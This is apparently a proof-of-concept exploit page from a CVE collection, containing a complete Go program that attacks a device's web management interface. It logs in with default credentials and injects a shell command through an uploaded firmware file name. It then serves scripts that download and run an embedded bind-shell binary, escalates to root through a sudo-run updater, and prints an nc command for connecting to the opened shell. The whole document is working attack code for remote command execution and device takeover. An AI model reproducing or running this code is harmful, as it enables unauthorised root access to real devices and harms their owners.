4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"bytes"
	"crypto/tls"
	"encoding/binary"
	"flag"
	"fmt"
	"io"
	"log"
	"math/rand"
	"mime/multipart"
	"net"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"strings"
	"time"

	_ "embed"
)

//go:embed shellcode/bind_shell
var bind_shell []byte

//go:embed fwupdate/runup.tar
var run_up []byte

var opench = make(chan (int), 1)

func serveHTTP(lst net.Listener, isFD bool) {
	var mux http.ServeMux

	/* These two files are only used for non-FD devices */
	mux.HandleFunc("/runup.tar", func(w http.ResponseWriter, r *http.Request) {
		fmt.Println("Got request for runup.tar")
		w.Write(run_up)
	})

	mux.HandleFunc("/c", func(w http.ResponseWriter, r *http.Request) {
		resp := []byte("" +
			"#!/bin/sh\n" +
			"cd /tmp\n" +
			"rm -f b\n" +
			"")

		resp = append(resp, []byte("wget http://"+lst.Addr().String()+"/b\n")...)
		resp = append(resp, []byte("chmod +x b\n")...)
		resp = append(resp, []byte("./b sh &\n")...)

		fmt.Println("Got request for non-FD root script:\n", string(resp))
		w.Write(resp)
	})

	/* This handler returns the bindshell for FD and non-FD devices */
	mux.HandleFunc("/b", func(w http.ResponseWriter, r *http.Request) {
		port := rand.Intn(60000) + 1024

		fmt.Println("Got request for shellcode:", port)

		repl := []byte{0x2, 0x0, 0x0, 0x0}
		binary.BigEndian.PutUint16(repl[2:], uint16(port))

		w.Write(bytes.ReplaceAll(bind_shell, []byte{0x2, 0x0, 0xde, 0xad}, repl))

		select {
		case opench <- port:
		default:
		}
	})

	/* This is the main handler */
	mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		resp := []byte("" +
			"#!/bin/sh\n" +
			"cd /tmp\n" +
			"rm -f b ha* c runup.tar\n" +
			"")

		if isFD {
			resp = append(resp, []byte("if [ `id -u` -ne 0 ]; then\n")...) /* If we are not root yet */
			filename := fmt.Sprintf("ha;wget %s -O - | sh;", lst.Addr().String())
			resp = append(resp, []byte("touch \"")...)
			resp = append(resp, []byte(filename)...)
			resp = append(resp, []byte("\"\n")...)
			resp = append(resp, []byte("sudo /home/peak/updater -f \"/tmp/")...)
			resp = append(resp, []byte(filename)...)
			resp = append(resp, []byte("\"\n")...)
			resp = append(resp, []byte("else\n")...) /* If we are root */

			resp = append(resp, []byte("wget http://"+lst.Addr().String()+"/b\n")...)
			resp = append(resp, []byte("chmod +x b\n")...)
			resp = append(resp, []byte("./b sh &\n")...)
			resp = append(resp, []byte("killall -9 updater\n")...)
			resp = append(resp, []byte("fi\n")...)

		} else {
			resp = append(resp, []byte("wget http://"+lst.Addr().String()+"/runup.tar\n")...)
			resp = append(resp, []byte("wget http://"+lst.Addr().String()+"/c\n")...)
			resp = append(resp, []byte("chmod +x c\n")...)
			resp = append(resp, []byte("sudo /home/peak/updater -f /tmp/runup.tar\n")...)
		}

		fmt.Println("Got request for script:\n", string(resp))
		w.Write(resp)
	})

	if err := http.Serve(lst, &mux); err != nil {
		panic(err)
	}
}

func main() {
	dst := flag.String("ip", "", "ip of device")
	httpaddr := flag.String("httpaddr", "", "local http server address")
	user := flag.String("user", "admin", "Username")
	pass := flag.String("pass", "admin", "Password")
	isFD := flag.Bool("fd", false, "Target is a FD device")
	flag.Parse()

	proto := "http"
	if *isFD {
		proto = "https"
	}

    if *dst == "" {
        log.Fatalln("Device IP is missing")
    }

    if *httpaddr == "" {
        log.Fatalln("Local IP is missing")
    }

	lst, err := net.Listen("tcp", *httpaddr+":0")
	if err != nil {
		log.Fatalln(err)
	}

	go serveHTTP(lst, *isFD)

	jar, err := cookiejar.New(nil)
	if err != nil {
		panic(err)
	}

	client := &http.Client{
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{
				InsecureSkipVerify: true,
			},
		},

		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
		Jar: jar,
	}

	if resp, err := client.PostForm(proto+"://"+*dst+"/bouncer.php", url.Values{
		"UN": {*user},
		"PW": {*pass},
	}); err != nil {
		panic(err)
	} else {
		resp.Body.Close()

		if resp.StatusCode != http.StatusFound {
			log.Panicf("invalid status code returned for login: %d", resp.StatusCode)
		}

		if resp.Header.Get("Set-Cookie") == "" {
			panic("invalid username or password")
		}
	}

	fmt.Println("Logged in")

	/* Note: We can't use / or \ */
	suffix := "tar"
	if *isFD {
		suffix = "raucb"
	}
	filename := fmt.Sprintf("test';wget %s -O - | sh;'.%s", lst.Addr().String(), suffix)

	var uploadBody bytes.Buffer
	writer := multipart.NewWriter(&uploadBody)
	if part, err := writer.CreateFormField("type"); err != nil {
		panic(err)
	} else {
		part.Write([]byte("fw_update"))
	}
	if part, err := writer.CreateFormFile("package", filename); err != nil {
		panic(err)
	} else {
		part.Write([]byte("bogus data that does not have zero length"))
	}

	if err = writer.Close(); err != nil {
		panic(err)
	}

	req, err := http.NewRequest(http.MethodPost, proto+"://"+*dst+"/processing.php", &uploadBody)
	if err != nil {
		panic(err)
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())

	if resp, err := client.Do(req); err != nil {
		panic(err)
	} else {
		body, _ := io.ReadAll(resp.Body)
		resp.Body.Close()
		if !strings.Contains(string(body), "Processing Software Update") {
			log.Panicf("body did not contain software update start")
		}
	}

	fmt.Println("Sent exec request")

	select {
	case <-time.After(30 * time.Second):
		panic("timeout")
	case port := <-opench:
		time.Sleep(300 * time.Millisecond)
		fmt.Printf("shell opened, connect using: nc %s %d\n", *dst, port)
	}
}